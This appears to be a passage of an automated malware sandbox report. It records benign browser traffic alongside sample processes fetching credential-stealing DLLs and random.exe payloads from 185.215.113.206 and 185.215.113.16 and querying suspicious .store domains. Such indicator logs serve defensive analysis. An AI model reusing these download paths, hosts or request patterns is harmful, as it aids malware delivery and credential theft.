Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2DD296EDD8FB644F13F183DCD98E6569&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=974adb91097e48a6b487471a42613d3c HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1A78D69714EC4D2CAF61F5784E14CBA6&MUID=2DD296EDD8FB644F13F183DCD98E6569 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731680465&P2=404&P3=2&P4=feANQp%2f%2fAPptG1c%2bBS7aGuFKoVytyiV6QEy3zsiNnoOMys0Qyr8JXHagir9PWfcTW3P9YhISV8X5jNpM%2bWgk9Q%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: MDWF9Sv9tYni3lLjo5WdGGSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6c7ZM87kbK1FEhL&MD=8OcbMNE9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 08 Nov 2024 14:04:33 GMTIf-None-Match: "672e1a71-206e00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chrome.exe, 00000003.00000003.1516470227.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1517151247.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1517046008.000024D800F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1516470227.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1517151247.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1517046008.000024D800F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E1A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/)
Source: skotes.exe, 00000019.00000002.2697095566.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.2697095566.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencoded
Source: skotes.exe, 00000019.00000002.2697095566.00000000012F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencodedSV
Source: file.exe, 00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: 8407c5d8e2.exe, 0000001B.00000002.2558649558.00000000010FA000.00000004.00000010.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2694797485.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeV
Source: skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exee
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exewv
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exet
Source: file.exe, 00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2025550529.0000000000EDE000.00000040.00000001.01000000.00000003.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000122E000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/.q
Source: ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000122E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$Z
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/C
Source: ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/Ly
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: file.exe, 00000000.00000002.2048030528.0000000023F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpATA=C:
Source: file.exe, 00000000.00000002.2027401280.0000000001A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: file.exe, 00000000.00000002.2027401280.00000000019D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpH
Source: file.exe, 00000000.00000002.2048030528.0000000023F62000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: file.exe, 00000000.00000002.2048030528.0000000023F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpO
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpP
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpT
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpW
Source: ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpfs
Source: file.exe, 00000000.00000002.2025550529.0000000000EDE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpjs
Source: file.exe, 00000000.00000002.2048030528.0000000023F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpn
Source: file.exe, 00000000.00000002.2048030528.0000000023F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpsoft
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpz
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllY
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll;
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dlly
Source: file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2025550529.0000000000D84000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
